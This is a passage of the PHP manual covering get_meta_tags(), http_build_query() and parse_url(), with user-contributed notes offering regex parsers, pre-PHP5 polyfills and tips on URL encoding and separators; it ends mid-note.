I hope this helps anyone who has been having problems with his code
jimmyxx at gmail dot com 20-Sep-2005 12:37
I used this as part of my mini php search based search engine - it really slowed the whole thing down. I wrote this function to read HTML (just fetch the file or use something like snoopy) and extract the meta data via a simple regex, works a treat and made my crawler much faster:

<?php

function get_meta_data($html) {

    preg_match_all(
    "|<meta[^>]+name=\\"([^\\"]*)\\"[^>]+content=\\"([^\\"]*)\\"[^>]+>|i",  $html, $out,PREG_PATTERN_ORDER);

    for ($i=0;$i < count($out[1]);$i++) {
        // loop through the meta data - add your own tags here if you need
        if (strtolower($out[1][$i]) == "keywords") $meta['keywords'] = $out[2][$i];
        if (strtolower($out[1][$i]) == "description") $meta['description'] = $out[2][$i];
    }

return $meta;
}

?>
mariano at cricava dot com 12-Sep-2005 05:18
Based on Michael Knapp's code, and adding some regex, here's a function that will get all meta tags and the title based on a URL. If there's an error, it will return false. Using the function getUrlContents(), also included, it takes care of META REFRESH re-directions, following up to the specified number of redirections. Please note that the regular expressions included were split into strings because php.net was complaining about the line being to long ;)

<?php
function getUrlData($url)
{
    $result = false;

    $contents = getUrlContents($url);

    if (isset($contents) && is_string($contents))
    {
        $title = null;
        $metaTags = null;

        preg_match('/<title>([^>]*)<\/title>/si', $contents, $match );

        if (isset($match) && is_array($match) && count($match) > 0)
        {
            $title = strip_tags($match[1]);
        }

        preg_match_all('/<[\s]*meta[\s]*name="?' . '([^>"]*)"?[\s]*' . 'content="?([^>"]*)"?[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 3)
        {
            $originals = $match[0];
            $names = $match[1];
            $values = $match[2];

            if (count($originals) == count($names) && count($names) == count($values))
            {
                $metaTags = array();

                for ($i=0, $limiti=count($names); $i < $limiti; $i++)
                {
                    $metaTags[$names[$i]] = array (
                        'html' => htmlentities($originals[$i]),
                        'value' => $values[$i]
                    );
                }
            }
        }

        $result = array (
            'title' => $title,
            'metaTags' => $metaTags
        );
    }

    return $result;
}

function getUrlContents($url, $maximumRedirections = null, $currentRedirection = 0)
{
    $result = false;

    $contents = @file_get_contents($url);

    // Check if we need to go somewhere else

    if (isset($contents) && is_string($contents))
    {
        preg_match_all('/<[\s]*meta[\s]*http-equiv="?REFRESH"?' . '[\s]*content="?[0-9]*;[\s]*URL[\s]*=[\s]*([^>"]*)"?' . '[\s]*[\/]?[\s]*>/si', $contents, $match);

        if (isset($match) && is_array($match) && count($match) == 2 && count($match[1]) == 1)
        {
            if (!isset($maximumRedirections) || $currentRedirection < $maximumRedirections)
            {
                return getUrlContents($match[1][0], $maximumRedirections, ++$currentRedirection);
            }

            $result = false;
        }
        else
        {
            $result = $contents;
        }
    }

    return $contents;
}
?>

Here's an example of its usage. Check that the included URL has a META REFRESH redirection:

<?php
$result = getUrlData('http://www.marianoiglesias.com.ar/');

echo '<pre>'; print_r($result); echo '</pre>';

?>

For the above code the output would be:

<?php
Array
(
    [title] => Mariano Iglesias: El Eternauta
    [metaTags] => Array
        (
            [description] => Array
                (
                    [html] => <meta name="description" content="Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well." />
                    [value] => Java, PHP, and some other technological mumble jumble. Also, some real-life stuff as well.
                )

            [DC.title] => Array
                (
                    [html] => <meta name="DC.title" content="Mariano Iglesias - Weblog" />
                    [value] => Mariano Iglesias - Weblog
                )

            [ICBM] => Array
                (
                    [html] => <meta name="ICBM" content="-34.6017, -58.3956" />
                    [value] => -34.6017, -58.3956
                )

            [geo.position] => Array
                (
                    [html] => <meta name="geo.position" content="-34.6017;-58.3956" />
                    [value] => -34.6017;-58.3956
                )

            [geo.region] => Array
                (
                    [html] => <meta name="geo.region" content="AR-BA">
                    [value] => AR-BA
                )

            [geo.placename] => Array
                (
                    [html] => <meta name="geo.placename" content="Buenos Aires">
                    [value] => Buenos Aires
                )

        )

)
?>
Michael Knapp 12-Mar-2005 12:47
Tim's code is good (thanks Tim), except it won't work very well if the tag is part of a long non-breaking string.

E.g. try getting the title from Google Maps (http://www.google.com/maps).

A better solution is:

<?php
$title = "";

if ($fp = @fopen( $_POST['url'], 'r' )) {

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
       $buf = trim(fgets( $fp, 4096 )) ;
       $cont .= $buf;
    }

    // get tag contents
    @preg_match( "/<title>([a-z 0-9]*)<\/title>/si", $cont, $match );

    // tag contents
    $title = strip_tags(@$match[ 1 ]);
}

?>

Note the strip_tags. Another thing to be careful of is to check for ", <, and >. You will need to strip those out if you are posting the output to a form.

Also, it is probably best to use the /i modifier, because some people might code <TITLE> etc...
rehfeld 05-Feb-2005 06:45
in response to
jp at webgraphe dot com

this function grabs meta tags, not http headers

if you need the headers

<?php

$fp = fopen('http://example.org/somepage.html', 'r');

// the variable $http_response_header magically appears
print_r($http_response_header);

// or
$meta_data = stream_get_meta_data($fp);
print_r($meta_data);

?>
tim dot bennett at haveaniceplay dot com 01-Feb-2005 07:43
If you want to get the contents of tags other than meta you can use:

<?php

$page = "http://www.mysite.com/apage.php";

    // tags
    $start = '<atag>';
    $end = '<\/atag>';

    // open the file
    $fp = fopen( $page, 'r' );

    $cont = "";

    // read the contents
    while( !feof( $fp ) ) {
        $buf = trim( fgets( $fp, 4096 ) );
        $cont .= $buf;
    }

    // get tag contents
    preg_match( "/$start(.*)$end/s", $cont, $match );

    // tag contents
    $contents = $match[ 1 ];

?>
jp at webgraphe dot com 12-Dec-2003 05:37
If the URL is doing a redirection using the headers (like you would do with PHP function header("Location: URL");), the page has no content (in general). It appears get_meta_tags() doesn't catch that kind of redirection (like cURL would do) and it lead me to a timeout of my script.

I experienced this in a spider I wrote in order to feed my database of all available pages on my site and one link was linking to a page that simply has the following code:

<?php
  header("Location: sections.php?section=home");
  exit();
?>

That made my script hang for a moment and apparently, get_meta_tags() wasn't even able to return me an error.

JP.
bill.neumann at hatworld.com 13-Mar-2003 07:50
The get_meta_tags function does not seem to be able to grab values if there are spaces between the attribute, the equal sign, and the opening quote marks.
20-Dec-2001 11:01
Tested PHP 4.0.6

get_meta_tags() seems to look only in the beginning of a file, meaning that e.g. if there is a lot of PHP code before the HTML header it will return nothing ...
Tested using get_meta_tags() on local files with about 9000 characters of PHP code before HTML HEADER.

Workaround: if possible move code after header or if not: include a file.
Ben dot Davis at furman dot edu 30-Jul-2001 03:29
I have found that for large searches, get_meta_tags is very slow.  I created a large search engine for a website that couldnt use a database and I first tried pulling out the meta tags.
I have found that it is actually much faster to use eregi to pull out the meta tags.  This code below pulls out the description:

if (eregi ("<meta name=\"description\" content=[^>]*", $contents, $descresult))
                                {
                                    $description = explode("<meta name=\"description\" content=", $descresult[0]);
                                    echo "<font face=\"Arial\" size=2>$description[1]</font>";

                                }
richard at pifmagazine dot com 21-Apr-2000 05:17
Something that is not mentioned above and should be : When using get_meta_tags on a remote PHP page the page will be parsed before the meta tags are returned - so you can capture meta tags generated dynamically (by PHP??) on the remote end.

This DOES NOT work the same way when getting meta tags on local file systems.  Local files are not parsed through the web server before returning to get_meta_tags().  If the META tag is hard-coded into the page, you'll be fine - but if it dynamically generated you will not be able to capture it unless you use the full URL when calling your local files.
richard at pifmagazine dot com 21-Apr-2000 05:00
An Important Note about META tags and this function :  if your META tag contains newline "\n"  characters, get_meta_tags() will return a NULL value for that name property.  Removing the newlines from the source META tag corrects the problem.
get_headers
http_build_query
URL Functions


Generate URL-encoded query string

get_meta_tags
parse_url
URL Functions
PHP Manual

http_build_query

(PHP 5)

http_build_query — Generate URL-encoded query string

Description

string http_build_query ( mixed $query_data [, string $numeric_prefix [, string $arg_separator [, int $enc_type = PHP_QUERY_RFC1738 ]]] )

Generates a URL-encoded query string from the associative (or indexed) array provided.

Parameters

query_data

May be an array or object containing properties.

If query_data is an array, it may be a simple one-dimensional structure, or an array of arrays (which in turn may contain other arrays).

If query_data is an object, then only public properties will be incorporated into the result.

numeric_prefix

If numeric indices are used in the base array and this parameter is provided, it will be prepended to the numeric index for elements in the base array only.

This is meant to allow for legal variable names when the data is decoded by PHP or another CGI application later on.

arg_separator

arg_separator.output is used to separate arguments, unless this parameter is specified, and is then used.

enc_type

By default, PHP_QUERY_RFC1738.

If enc_type is PHP_QUERY_RFC1738, then encoding is performed per » RFC 1738 and the application/x-www-form-urlencoded media type, which implies that spaces are encoded as plus (+) signs.

If enc_type is PHP_QUERY_RFC3986, then encoding is performed according to » RFC 3986, and spaces will be percent encoded (%20).

Return Values

Returns a URL-encoded string.

Changelog

Version | Description
5.4.0 | The enc_type parameter was added.
5.1.3 | Square brackets are escaped.
5.1.2 | The arg_separator parameter was added.

Examples

Example #1 Simple usage of http_build_query()

<?php
$data = array('foo'=>'bar',
              'baz'=>'boom',
              'cow'=>'milk',
              'php'=>'hypertext processor');

echo http_build_query($data) . "\n";
echo http_build_query($data, '', '&amp;');

?>

The above example will output:

foo=bar&baz=boom&cow=milk&php=hypertext+processor
foo=bar&amp;baz=boom&amp;cow=milk&amp;php=hypertext+processor

Example #2 http_build_query() with numerically index elements.

<?php
$data = array('foo', 'bar', 'baz', 'boom', 'cow' => 'milk', 'php' =>'hypertext processor');

echo http_build_query($data) . "\n";
echo http_build_query($data, 'myvar_');
?>

The above example will output:

0=foo&1=bar&2=baz&3=boom&cow=milk&php=hypertext+processor
myvar_0=foo&myvar_1=bar&myvar_2=baz&myvar_3=boom&cow=milk&php=hypertext+processor

Example #3 http_build_query() with complex arrays

<?php
$data = array('user'=>array('name'=>'Bob Smith',
                            'age'=>47,
                            'sex'=>'M',
                            'dob'=>'5/12/1956'),
              'pastimes'=>array('golf', 'opera', 'poker', 'rap'),
              'children'=>array('bobby'=>array('age'=>12,
                                               'sex'=>'M'),
                                'sally'=>array('age'=>8,
                                               'sex'=>'F')),
              'CEO');

echo http_build_query($data, 'flags_');
?>

this will output : (word wrapped for readability)

user%5Bname%5D=Bob+Smith&user%5Bage%5D=47&user%5Bsex%5D=M&
user%5Bdob%5D=5%2F12%2F1956&pastimes%5B0%5D=golf&pastimes%5B1%5D=opera&
pastimes%5B2%5D=poker&pastimes%5B3%5D=rap&children%5Bbobby%5D%5Bage%5D=12&
children%5Bbobby%5D%5Bsex%5D=M&children%5Bsally%5D%5Bage%5D=8&
children%5Bsally%5D%5Bsex%5D=F&flags_0=CEO

Note:

Only the numerically indexed element in the base array "CEO" received a prefix. The other numeric indices, found under pastimes, do not require a string prefix to be legal variable names.

Example #4 Using http_build_query() with an object

<?php
class parentClass {
    public    $pub      = 'publicParent';
    protected $prot     = 'protectedParent';
    private   $priv     = 'privateParent';
    public    $pub_bar  = Null;
    protected $prot_bar = Null;
    private   $priv_bar = Null;

    public function __construct(){
        $this->pub_bar  = new childClass();
        $this->prot_bar = new childClass();
        $this->priv_bar = new childClass();
    }
}

class childClass {
    public    $pub  = 'publicChild';
    protected $prot = 'protectedChild';
    private   $priv = 'privateChild';
}

$parent = new parentClass();

echo http_build_query($parent);
?>

The above example will output:

pub=publicParent&pub_bar%5Bpub%5D=publicChild

See Also

  • parse_str() - Parses the string into variables
  • parse_url() - Parse a URL and return its components
  • urlencode() - URL-encodes string
  • array_walk() - Apply a user function to every member of an array

User Contributed Notes

Anonymous 08-Feb-2011 12:11
As noted before, with php5.3 the separator is &amp; on some servers it seems. Normally if posting to another php5.3 machine this will not be a problem.

But if you post to a tomcat java server or something else the &amp; might not be handled properly.

To overcome this specify:

http_build_query($array, '', '&');

and NOT

http_build_query($array); //gives &amp; to some servers
boukeversteegh at gmail dot com 31-Aug-2010 07:02
When building querystrings, you often need to pass original arguments into the new querystring. An easy way to combine a bunch of default values, plus some overwrites into a new array, is using the Array operator +. This works great with http_build_query:

<?php
    # Suppose $_GET is set like this.
    # or put some default values in here.
    $_GET = Array( 'page' => 'item', 'id' => 14, 'action' => 'view' );

    $edit_url = http_build_query( Array( 'action' => 'edit' ) + $_GET );

    echo "<a href=\"$edit_url\">Edit</a>";

    /* Prints
    <a href="action=edit&page=item&id=14">Edit</a>
    */
?>
v0idnull[try_to_spam_me_now] at gee-mail dot co 11-Mar-2010 11:51
on my install of PHP 5.3, http_build_query() seems to use &amp; as the default separator. Kind of interesting when combined with stream_context_create() for a POST request, and getting $_POST['amp;fieldName'] on the receiving end.
irish [-@-] ytdj [-dot-] ca 21-Jan-2010 01:31
When using the http_build_query function to create a URL query from an array for use in something like curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url), be careful about the url encoding.

In my case, I simply wanted to pass on the received $_POST data to a CURL's POST data, which requires it to be in the URL format.  If something like a space [ ] goes into the http_build_query, it comes out as a +. If you're then sending this off for POST again, you won't get the expected result.  This is good for GET but not POST.

Instead you can make your own simple function if you simply want to pass along the data:

<?php
$post_url = '';
foreach ($_POST AS $key=>$value)
    $post_url .= $key.'='.$value.'&';
$post_url = rtrim($post_url, '&');
?>

You can then use this to pass along POST data in CURL.

<?php
    $ch = curl_init($some_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_url);
    curl_exec($ch);
?>

Note that at the final page that processes the POST data, you should be properly filtering/escaping it.
Edgar at goodforall dot eu 10-Sep-2009 03:01
The use of square brackets is not illegal in a url. It is meant for delimiting data, so it is probably valid to use them to represent an array index. From the RFC:

The purpose of reserved characters is to provide a set of delimiting
characters that are distinguishable from other data within a URI.
URIs that differ in the replacement of a reserved character with its
corresponding percent-encoded octet are not equivalent.  Percent-
encoding a reserved character, or decoding a percent-encoded octet
that corresponds to a reserved character, will change how the URI is
interpreted by most applications.  Thus, characters in the reserved
set are protected from normalization and are therefore safe to be
used by scheme-specific and producer-specific algorithms for
delimiting data subcomponents within a URI.
netrox at aol dot com 26-Aug-2009 07:24
I noticed that even with the magic quotes disabled, http_build_query() automagically adds slashes to strings.

So, I had to add "stripslashes" to every string variable.
Marco K. (Germany) 22-Apr-2009 05:40
If You use php <5 You can use this. (It works fine with complex arrays.)

<?php
if (!function_exists('http_build_query')) {
    function http_build_query($data, $prefix='', $sep='', $key='') {
        $ret = array();
        foreach ((array)$data as $k => $v) {
            if (is_int($k) && $prefix != null) {
                $k = urlencode($prefix . $k);
            }
            if ((!empty($key)) || ($key === 0))  $k = $key.'['.urlencode($k).']';
            if (is_array($v) || is_object($v)) {
                array_push($ret, http_build_query($v, '', $sep, $k));
            } else {
                array_push($ret, $k.'='.urlencode($v));
            }
        }
        if (empty($sep)) $sep = ini_get('arg_separator.output');
        return implode($sep, $ret);
    }// http_build_query
}//if
?>
guido dot winkelmann at pop-hannover dot net 06-Aug-2008 05:33
Every encoding or escaping function needs a decoding or unescaping counterpart. The counterpart for this one is apparently parse_str().

Unfortunately, this is far from obvious from reading just this manual page, and it took me some time to find out.

I think this manual page should explicitly mention parse_str() as the decoding counterpart of http_build_query().
donovan jimenez 18-Oct-2007 11:37
Other languages (in my case Java) allow access to multiple values for the same GET/POST parameter without the use of the brace ([]) notation.  I wanted to use this function because it was faster than my own PHP implementation that urlencoded each part of a parameter array, but I needed to be able to send something like this to a service:

...?q=foo&q=bar

obviously http_build_query() by itself would have given me:

...?q[0]=foo&q[1]=bar

So, preg_replace to the rescue:

...
$query_string = http_build_query($params);
$query_string = preg_replace('/%5B(?:[0-9]|[1-9][0-9]+)%5D=/', '=', $query_string);
...

And I get single dimension arrays encoded how I need them. This works because the '=' character can't appear non-urlencoded except for exactly where I expect it to appear (between key / value pairs).

DISCLAIMER: this workaround was only intended for getting rid of the array notation when a parameter had multiple "simple" values. More complex structures will probably be mangled.
fabrizio[AT]bibivu[DOT]com 08-Sep-2007 01:28
This is my own version that I was using for php <=4, hope that will help someone

this can accomplish a few things:
if called w/o parameters will return the current link
if called with the first parameter like:
  param1=a&param2=b
will return a link with the query string containing ONLY what is passed.
if called with the first parameter like:
  &param1=a&param2=b
will return a string with the current query string plus what is passed to the function

this function uses by default PHP_SELF, but if you pass the page will create the link with what you pass.
If pass secure(boolean), will create an https or http.
$url will be the actual domain.  This function will use a global variable if nothing is passed, but feel free to modify it to use the _SERVER variables.

$html is a boolean.  If true will create links with &amp; else just &
<?php
    function create_link($query=NULL, $page=NULL, $secure=NULL, $html=NULL, $port=NULL, $url=NULL ){
        if($html    === NULL)            $html = true;
        if($url        === NULL){
            if($secure==true){
                $url = $GLOBALS['_cfg']['secure_site'];
            } else {
                $url = $GLOBALS['_cfg']['url'];
            }
        }
        if($query    === NULL)            $query = $_SERVER['QUERY_STRING'];
        if($port    === NULL && isset($_SERVER['BIBIVU-HTTPD'])){
            $port    === _SERVER_ADMIN_PORT;
        }
        if((isset($_SERVER['BIBIVU-HTTPD']) || !isset($_COOKIE[session_name()])) && $this->is_crawler()===false){
            $query = $query.($query!=''?'&':'').session_name().'='.session_id();
        }
        if(substr($query,0,1) == '&'){
            $query = $this->change_query(substr($query,1));
        }
        if($page === NULL)            $page = $_SERVER['PHP_SELF'];
        $page = str_replace('//','/',$page);
        if(substr($page,0,1)=='/')    $page = substr($page,1);

        $newQry = array();

        if($query!=''){
            parse_str($query, $newQuery);
            foreach($newQuery as $key => $item){
                $newQry[] = $key.'='.$item;
            }
        }
        if($html){
            //I create the URL in HTML
            $query = implode('&amp;', $newQry);
        } else {
            $query = implode('&', $newQry);
        }

        if(isset($_SERVER['BIBIVU-HTTPD'])){
            $host = '';
        } elseif(defined('_ADMIN_BIB') && _ADMIN_BIB==1){
            if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']=='on' && ($secure===NULL || $secure===true )){
                $host = 'https://';
            } else {
                $host = 'http://';
            }
            if (strrpos($_SERVER['HTTP_HOST'], ':') > 0){
                $host .= substr($_SERVER['HTTP_HOST'], 0, strrpos($_SERVER['HTTP_HOST'], ':'));
            } else {
                $host .= $_SERVER['HTTP_HOST'];
            }
        } else {
            if($secure==true){
                $host = 'https://'.$url;
            } else {
                $host = 'http://'.$url;
            }
        }
        if($port==NULL){
            //check the current port used
            $port = $_SERVER['SERVER_PORT'];
            if($port<=0)    $port = 80;
        }
        if($port!=80 && $port!=443){
            $host .=':'.$port;
        }

        if($page===''){
            $ret = $query;
        } else {
            $ret = $host.'/'.$page.($query!=''?'?'.$query:'');
        }
        return $ret;
    }
    function change_query($addto_query, $queryOld = NULL){
        // change the QUERY_STRING adding or changing the value passed
        if ($queryOld === NULL){
            $query1 = $_SERVER['QUERY_STRING'];
        } else {
            $query1 = $queryOld;
        }
        parse_str ($query1, $array1);
        parse_str ($addto_query, $array2);
        $newQuery = array_merge($array1, $array2);

        foreach($newQuery as $key => $item){
            $newQry[] = $key . '=' . $item;
        }

        return implode('&', $newQry);
    }
?>
valdikss at gmail dot com 27-Aug-2007 01:15
This function is wrong for http!
arrays in http is like this:

files[]=1&files[]=2&...

but function makes like this

files[0]=1&files[1]=2&...

Here is normal function:

<?php
function cr_post($a,$b=\'\',$c=0){
if (!is_array($a)) return false;
foreach ((array)$a as $k=>$v){
if ($c) $k=$b.\"[]\"; elseif (is_int($k)) $k=$b.$k;
if (is_array($v)||is_object($v)) {$r[]=cr_post($v,$k,1);continue;}
$r[]=urlencode($k).\"=\".urlencode($v);}return implode(\"&\",$r);}
?>
pinkgothic at gmail dot com 27-Apr-2007 02:24
Be careful if you're assuming that arg_separator defaults to "&".

For me, with my xampp installation and PHP 5.2.1, this was scary:

[php.ini]
; The separator used in PHP generated URLs to separate arguments.
; Default is "&".
arg_separator.output = "&amp;"

... as it gave me a complete headache debugging something, as I expected the string length to be the length of the string my browser was displaying. I was so certain arg_separator was "&" because I'd never changed my php.ini that it took me seemingly forever to consider looking at the source code.

D'oh.

This may seem irrelevant at first (and I realise my case is an unusual way of stumbling into this issue), but since, if you run htmlspecialchars() over "&amp;", the result will be "&amp;amp;", DON'T expect a one- or two-parameter http_build_query() to return a query you still have to run through htmlspecialchars().

I suggest using the third parameter to retain your sanity.
mqchen at gmail dot com 03-Feb-2007 01:27
To flyingmeteor,

Your function is pleasingly adequate, however, when comparing the results from your function with the results from the actual function, it has a minor defect. If one uses a special character (e.g. øæåöä) in a key in the $data array, it is not encoded by your function, but it is by the actual one.

This is easily solved by some minor edits:
<?php
if(!function_exists('http_build_query')) {
    function http_build_query($data,$prefix=null,$sep='',$key='') {
        $ret    = array();
            foreach((array)$data as $k => $v) {
                $k    = urlencode($k);
                if(is_int($k) && $prefix != null) {
                    $k    = $prefix.$k;
                };
                if(!empty($key)) {
                    $k    = $key."[".$k."]";
                };

                if(is_array($v) || is_object($v)) {
                    array_push($ret,http_build_query($v,"",$sep,$k));
                }
                else {
                    array_push($ret,$k."=".urlencode($v));
                };
            };

        if(empty($sep)) {
            $sep = ini_get("arg_separator.output");
        };

        return    implode($sep, $ret);
    };
};
?>
Forgive my personal coding standard.
havelka at valka dot cz 22-Dec-2006 03:37
I think it doesnt :( when processing array let say from MySQL db, where array is list of rows (column - value), it generates the first "row" without indexes (post_subject=xxx&post_detail=yyy) while the other rows are indexed well ( 1[post_subject]=xxx&1[post_details]=yyy )

this causes confusion when the array is read back from this string (because the first line, without index is ignored (put to another variable than rest of the array), also count of this array says n+x (N = amount of rows in the array, X = amount of columns in the first row) which is wrong. The correct way should look like

0[post_subject]=xxx&0[post_detail]=yyy

for the first entry and then to continue with the rest
flyingmeteor at gmail dot com 11-Dec-2006 09:46
Here is another equivalent function for users that don't have PHP5 yet, it behaves the same way as the PHP5 counterpart and has one extra parameter for added functionality.

<?php
if (!function_exists('http_build_query')) {
function http_build_query($data, $prefix='', $sep='', $key='') {
    $ret = array();
    foreach ((array)$data as $k => $v) {
        if (is_int($k) && $prefix != null) $k = urlencode($prefix . $k);
        if (!empty($key)) $k = $key.'['.urlencode($k).']';

        if (is_array($v) || is_object($v))
            array_push($ret, http_build_query($v, '', $sep, $k));
        else    array_push($ret, $k.'='.urlencode($v));
    }

    if (empty($sep)) $sep = ini_get('arg_separator.output');
    return implode($sep, $ret);
}}
?>
Colin Guthrie 08-Mar-2006 07:11
I am concerned about this function's generation of [ and ] in the variable names.

From what I can gather from http://www.faqs.org/rfcs/rfc3986.html (which I believe to be the most recent RFC on the matter), the use of square brackets is illegal here.

To be sure, always use the following:
str_replace(array('[',']'), array('%5B','%5D'), http_build_query($data));

I will also submit a bug, but thought it important to inform users.
Colin Guthrie 08-Mar-2006 06:25
@ xangelusx
You said that "It is actually illegal to set arg_separator.output to &amp; ("and amp ;") as every character is considered a seperator according to the documentation."

I don't think this is correct. arg_separator.input maybe, but not the output. How can PHP encode my URLs (that is what this setting is used for, e.g. on URL rewriting etc.) with more than one separator?  It doesn't make sence for that variable.

I have personally used &amp; as a separate for output for years in order to create valid XHTML output via PHP.

I long ago wrote a function to do this for me, but depending on where I use the output, I sometimes want &amp; and sometimes just a plain old & (think putting the value in a href="" versus using it in a Location: header). Unfortunatly, I can see no way to deprecate my function just yet, as this built in function is lacking that distinction (an optional argument would be perfect IMO)
Ilya Rudenko 09-Jan-2006 11:57
Params with null value do not present in result string.

<?
$arr = array('test' => null, 'test2' => 1);
echo http_build_query($arr);
?>

will produce:

test2=1
vlad_mustafin at ukr dot net 05-Oct-2005 05:03
Dear anonymous, i think that your example is incorrect in some places (or at least is not flexible) and shortly only in names of variables (as $c, $k, etc.) and some spaces and line foldings  :), i can explain:
1. I think that next part of code is not wanted here:
<?if (!is_array($a)) return false;?>
because you have (array)$a in foreach! It is possible but not obligatory. Or maybe better to use trigger_error for this situation.
2. You don't use urlencode on key! It's wrong because it can have also unsafe value!
<?if ($c) $k=$b."[".$k."]"; elseif (is_int($k)) $k=$b.$k;?>
this part is wrong because $k can be integer even if $c is not empty. I can want to add numeric_prefix to all indexes in array, but your example will not allow to make it. Here using of elseif is excluded, these both conditions should exist simultaneously.
3. <?http_build_query($v,$k,1);?> - In my opinion it's a very rough error. You use second parameter (as "numeric_prefix" in my example and php manual for this function) for transfer of the current key into next iteration step of recursion. Certainly it's possible and is not of principle, but very not professionally, in my opinion. I use implicit rule: one ought not to violate function logic even inside of the same function one may only expand logic. And my <?http_build_query($v, null, $tmp_key);?> allows to add numeric_prefix to all indexes in array (see point 2), i need just to put $numeric_prefix instead of null into second parameter.

Also i want to extend my previous example because we must use ini_get('arg_separator.output') instead of '&' separator!

<?
if(!function_exists('http_build_query')) {
    function http_build_query( $formdata, $numeric_prefix = null, $key = null ) {
        $res = array();
        foreach ((array)$formdata as $k=>$v) {
            $tmp_key = urlencode(is_int($k) ? $numeric_prefix.$k : $k);
            if ($key) $tmp_key = $key.'['.$tmp_key.']';
            if ( is_array($v) || is_object($v) ) {
                $res[] = http_build_query($v, null /* or $numeric_prefix if you want to add numeric_prefix to all indexes in array*/, $tmp_key);
            } else {
                $res[] = $tmp_key."=".urlencode($v);
            }
            /*
            If you want, you can write this as one string:
            $res[] = ( ( is_array($v) || is_object($v) ) ? http_build_query($v, null, $tmp_key) : $tmp_key."=".urlencode($v) );
            */
       }
       $separator = ini_get('arg_separator.output');
       return implode($separator, $res);
   }
}
?>

All best!
03-Oct-2005 01:33
I made my very own http_build_query function quite some time ago for php 4 and below. Works exactly like the function below; but its just a bit shorter. :P

<?
function http_build_query($a,$b='',$c=0){
if (!is_array($a)) return false;
foreach ((array)$a as $k=>$v){
if ($c) $k=$b."[".$k."]"; elseif (is_int($k)) $k=$b.$k;
if (is_array($v)||is_object($v)) {$r[]=http_build_query($v,$k,1);continue;}
$r[]=$k."=".urlencode($v);
}
return implode("&",$r);
}
?>
vlad_mustafin at ukr dot net 29-Sep-2005 04:31
My example of this function for PHP versions < PHP5 without any regular expressions, just cycles, recursion and standard functions. It can work with complex arrays or objects or both combined.
<?php
if(!function_exists('http_build_query')) {
    function http_build_query( $formdata, $numeric_prefix = null, $key = null ) {
        $res = array();
        foreach ((array)$formdata as $k=>$v) {
            $tmp_key = urlencode(is_int($k) ? $numeric_prefix.$k : $k);
            if ($key) {
                $tmp_key = $key.'['.$tmp_key.']';
            }
            if ( is_array($v) || is_object($v) ) {
                $res[] = http_build_query($v, null, $tmp_key);
            } else {
                $res[] = $tmp_key."=".urlencode($v);
            }
        }
        return implode("&", $res);
    }
}
?>
php dot net at hiddemann dot org 12-May-2005 06:22
This is a workaround for PHP versions < PHP5. It does not work with complex arrays, however.

<?

if (!function_exists('http_build_query')) {
    function http_build_query($formdata, $numeric_prefix = "")
    {
       $arr = array();
       foreach ($formdata as $key => $val)
         $arr[] = urlencode($numeric_prefix.$key)."=".urlencode($val);
       return implode($arr, "&");
    }
}

?>
aidan at php dot net 27-May-2004 08:25
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
get_meta_tags
parse_url
URL Functions


Parse a URL and return its components

http_build_query
rawurldecode
URL Functions
PHP Manual

parse_url

(PHP 4, PHP 5)

parse_url — Parse a URL and return its components

Description

mixed parse_url ( string $url [, int $component = -1 ] )

This function parses a URL and returns an associative array containing any of the various components of the URL that are present.

This function is not meant to validate the given URL, it only breaks it up into the above listed parts. Partial URLs are also accepted, parse_url() tries its best to parse them correctly.

Parameters

url

The URL to parse. Invalid characters are replaced by _.

component

Specify one of PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PORT, PHP_URL_USER, PHP_URL_PASS, PHP_URL_PATH, PHP_URL_QUERY or PHP_URL_FRAGMENT to retrieve just a specific URL component as a string (except when PHP_URL_PORT is given, in which case the return value will be an integer).

Return Values

On seriously malformed URLs, parse_url() may return FALSE.

If the component parameter is omitted, an associative array is returned. At least one element will be present within the array. Potential keys within this array are:

  • scheme - e.g. http
  • host
  • port
  • user
  • pass
  • path
  • query - after the question mark ?
  • fragment - after the hashmark #

If the component parameter is specified, parse_url() returns a string (or an integer, in the case of PHP_URL_PORT) instead of an array. If the requested component doesn't exist within the given URL, NULL will be returned.

Changelog

Version | Description
5.3.3 | Removed the E_WARNING that was emitted when URL parsing failed.
5.1.2 | Added the component parameter.

Examples

Example #1 A parse_url() example

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

print_r(parse_url($url));

echo parse_url($url, PHP_URL_PATH);
?>

The above example will output:

Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

Notes

Note:

This function doesn't work with relative URLs.

Note:

This function is intended specifically for the purpose of parsing URLs and not URIs. However, to comply with PHP's backwards compatibility requirements it makes an exception for the file:// scheme where triple slashes (file:///...) are allowed. For any other scheme this is invalid.

See Also

  • pathinfo() - Returns information about a file path
  • parse_str() - Parses the string into variables
  • http_build_query() - Generate URL-encoded query string
  • http_build_url() - Build a URL
  • dirname() - Returns parent directory's path
  • basename() - Returns trailing name component of path
  • » RFC 3986

User Contributed Notes

thomas at gielfeldt dot com 02-Dec-2011 02:50
[If you haven't yet] been able to find a simple conversion back to string from a parsed url, here's an example:

<?php

$url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment';
if ($url === unparse_url(parse_url($url))) {
  print "YES, they match!\n";
}

function unparse_url($parsed_url) {
  $scheme   = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '';
  $host     = isset($parsed_url['host']) ? $parsed_url['host'] : '';
  $port     = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';
  $user     = isset($parsed_url['user']) ? $parsed_url['user'] : '';
  $pass     = isset($parsed_url['pass']) ? ':' . $parsed_url['pass']  : '';
  $pass     = ($user || $pass) ? "$pass@" : '';
  $path     = isset($parsed_url['path']) ? $parsed_url['path'] : '';
  $query    = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
  $fragment = isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';
  return "$scheme$user$pass$host$port$path$query$fragment";
}

?>
mallluhuct at gmail dot com 18-Jul-2011 07:38
From rfc3986:

